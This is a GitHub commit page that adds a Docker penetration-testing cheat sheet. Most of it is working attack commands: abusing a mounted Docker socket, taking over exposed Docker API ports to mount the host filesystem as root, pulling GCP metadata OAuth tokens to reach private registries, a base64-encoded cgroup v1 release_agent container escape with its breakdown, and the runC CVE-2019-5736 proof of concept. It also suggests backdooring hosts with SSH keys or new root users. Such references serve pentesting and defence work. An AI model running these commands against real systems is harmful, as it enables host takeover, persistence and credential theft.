Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
95ab07b
commit be8f32b
Showing
2 changed files
with
144 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
132 changes: 132 additions & 0 deletions
132
Methodology and Resources/Container - Docker Pentest.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,132 @@ | ||
# Docker Pentest | ||
|
||
> Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers. | ||
## Summary | ||
|
||
- [Tools](#tools) | ||
- [Mounted Docker Socket](#mounted-docker-socket) | ||
- [Open Docker API Port](#open-docker-api-port) | ||
- [Insecure Docker Registry](#insecure-docker-registry) | ||
- [Exploit privileged container abusing the Linux cgroup v1](#exploit-privileged-container-abusing-the-linux-cgroup-v1) | ||
- [Breaking out of Docker via runC](#breaking-out-of-docker-via-runc) | ||
- [References](#references) | ||
|
||
## Tools | ||
|
||
* Dockscan : https://github.com/kost/dockscan | ||
```powershell | ||
dockscan unix:///var/run/docker.sock | ||
dockscan -r html -o myreport -v tcp://example.com:5422 | ||
``` | ||
|
||
## Mounted Docker Socket | ||
|
||
Prerequisite: | ||
* Socker mounted as volume : `- "/var/run/docker.sock:/var/run/docker.sock"` | ||
|
||
Usually found in `/var/run/docker.sock`, for example for Portainer. | ||
|
||
```powershell | ||
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json | ||
curl -XPOST –unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create | ||
curl -XPOST –unix-socket /var/run/docker.sock http://localhost/containers/ID_FROM_PREVIOUS_COMMAND/start | ||
``` | ||
|
||
|
||
## Open Docker API Port | ||
|
||
Prerequisite: | ||
* Docker runned with `-H tcp://0.0.0.0:XXXX` | ||
|
||
```powershell | ||
$ nmap -sCV 10.10.10.10 -p 2376 | ||
2376/tcp open docker Docker 19.03.5 | ||
| docker-version: | ||
| Version: 19.03.5 | ||
| MinAPIVersion: 1.12 | ||
``` | ||
|
||
Mount the current system inside a new "temporary" Ubuntu container, you will gain root access to the filesystem in `/mnt`. | ||
|
||
```powershell | ||
$ export DOCKER_HOST=tcp://10.10.10.10:2376 | ||
$ docker run --name ubuntu_bash --rm -i -v /:/mnt -u 0 -t ubuntu bash | ||
or | ||
$ docker -H open.docker.socket:2375 ps | ||
$ docker -H open.docker.socket:2375 exec -it mysql /bin/bash | ||
or | ||
$ curl -s –insecure https://tls-opendocker.socket:2376/secrets | jq | ||
$ curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}' | ||
``` | ||
|
||
From there you can backdoor the filesystem by adding an ssh key in `/root/.ssh` or adding a new root user in `/etc/passwd`. | ||
|
||
|
||
## Insecure Docker Registry | ||
|
||
Docker Registry’s fingerprint is `Docker-Distribution-Api-Version` header. Then connect to Registry API endpoint: `/v2/_catalog`. | ||
|
||
```powershell | ||
curl https://registry.example.com/v2/<image_name>/tags/list | ||
docker pull https://registry.example.com:443/<image_name>:<tag> | ||
``` | ||
|
||
Access a private registry using OAuth Token from Google | ||
|
||
```powershell | ||
curl http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/email | ||
curl -s http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token | ||
docker login -e <email> -u oauth2accesstoken -p "<access token>" https://gcr.io | ||
``` | ||
|
||
|
||
## Exploit privileged container abusing the Linux cgroup v1 | ||
|
||
Prerequisite (at least one): | ||
* `--privileged` | ||
* `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` flags. | ||
|
||
```powershell | ||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash -c 'echo "cm5kX2Rpcj0kKGRhdGUgKyVzIHwgbWQ1c3VtIHwgaGVhZCAtYyAxMCkKbWtkaXIgL3RtcC9jZ3JwICYmIG1vdW50IC10IGNncm91cCAtbyByZG1hIGNncm91cCAvdG1wL2NncnAgJiYgbWtkaXIgL3RtcC9jZ3JwLyR7cm5kX2Rpcn0KZWNobyAxID4gL3RtcC9jZ3JwLyR7cm5kX2Rpcn0vbm90aWZ5X29uX3JlbGVhc2UKaG9zdF9wYXRoPWBzZWQgLW4gJ3MvLipccGVyZGlyPVwoW14sXSpcKS4qL1wxL3AnIC9ldGMvbXRhYmAKZWNobyAiJGhvc3RfcGF0aC9jbWQiID4gL3RtcC9jZ3JwL3JlbGVhc2VfYWdlbnQKY2F0ID4gL2NtZCA8PCBfRU5ECiMhL2Jpbi9zaApjYXQgPiAvcnVubWUuc2ggPDwgRU9GCnNsZWVwIDMwIApFT0YKc2ggL3J1bm1lLnNoICYKc2xlZXAgNQppZmNvbmZpZyBldGgwID4gIiR7aG9zdF9wYXRofS9vdXRwdXQiCmhvc3RuYW1lID4+ICIke2hvc3RfcGF0aH0vb3V0cHV0IgppZCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKcHMgYXh1IHwgZ3JlcCBydW5tZS5zaCA+PiAiJHtob3N0X3BhdGh9L291dHB1dCIKX0VORAoKIyMgTm93IHdlIHRyaWNrIHRoZSBkb2NrZXIgZGFlbW9uIHRvIGV4ZWN1dGUgdGhlIHNjcmlwdC4KY2htb2QgYSt4IC9jbWQKc2ggLWMgImVjaG8gXCRcJCA+IC90bXAvY2dycC8ke3JuZF9kaXJ9L2Nncm91cC5wcm9jcyIKIyMgV2FpaWlpaXQgZm9yIGl0Li4uCnNsZWVwIDYKY2F0IC9vdXRwdXQKZWNobyAi4oCiPygowq/CsMK3Ll8u4oCiIHByb2ZpdCEg4oCiLl8uwrfCsMKvKSnYn+KAoiIK" | base64 -d | bash -' | ||
``` | ||
|
||
Exploit breakdown : | ||
|
||
```powershell | ||
# On the host | ||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash | ||
# In the container | ||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x | ||
echo 1 > /tmp/cgrp/x/notify_on_release | ||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` | ||
echo "$host_path/cmd" > /tmp/cgrp/release_agent | ||
echo '#!/bin/sh' > /cmd | ||
echo "ps aux > $host_path/output" >> /cmd | ||
chmod a+x /cmd | ||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" | ||
``` | ||
|
||
## Breaking out of Docker via runC | ||
|
||
> The vulnerability allows a malicious container to (with minimal user interaction) overwrite the host runc binary and thus gain root-level code execution on the host. The level of user interaction is being able to run any command ... as root within a container in either of these contexts: Creating a new container using an attacker-controlled image. Attaching (docker exec) into an existing container which the attacker had previous write access to. - Vulnerability overview by the runC team | ||
Exploit for CVE-2019-5736 : https://github.com/twistlock/RunC-CVE-2019-5736 | ||
|
||
```powershell | ||
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC | ||
$ docker run --rm cve-2019-5736:malicious_image_POC | ||
``` | ||
|
||
## References | ||
|
||
- [Hacking Docker Remotely - 17 March 2020 - ch0ks](https://hackarandas.com/blog/2020/03/17/hacking-docker-remotely/) | ||
- [Understanding Docker container escapes - JULY 19, 2019 - Trail of Bits](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) | ||
- [Capturing all the flags in BSidesSF CTF by pwning our infrastructure - Hackernoon](https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0) | ||
- [Breaking out of Docker via runC – Explaining CVE-2019-5736 - Yuval Avrahami - February 21, 2019](https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/) | ||
- [CVE-2019-5736: Escape from Docker and Kubernetes containers to root on host - dragonsector.pl](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) | ||
- [OWASP - Docker Security CheatSheet](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md) |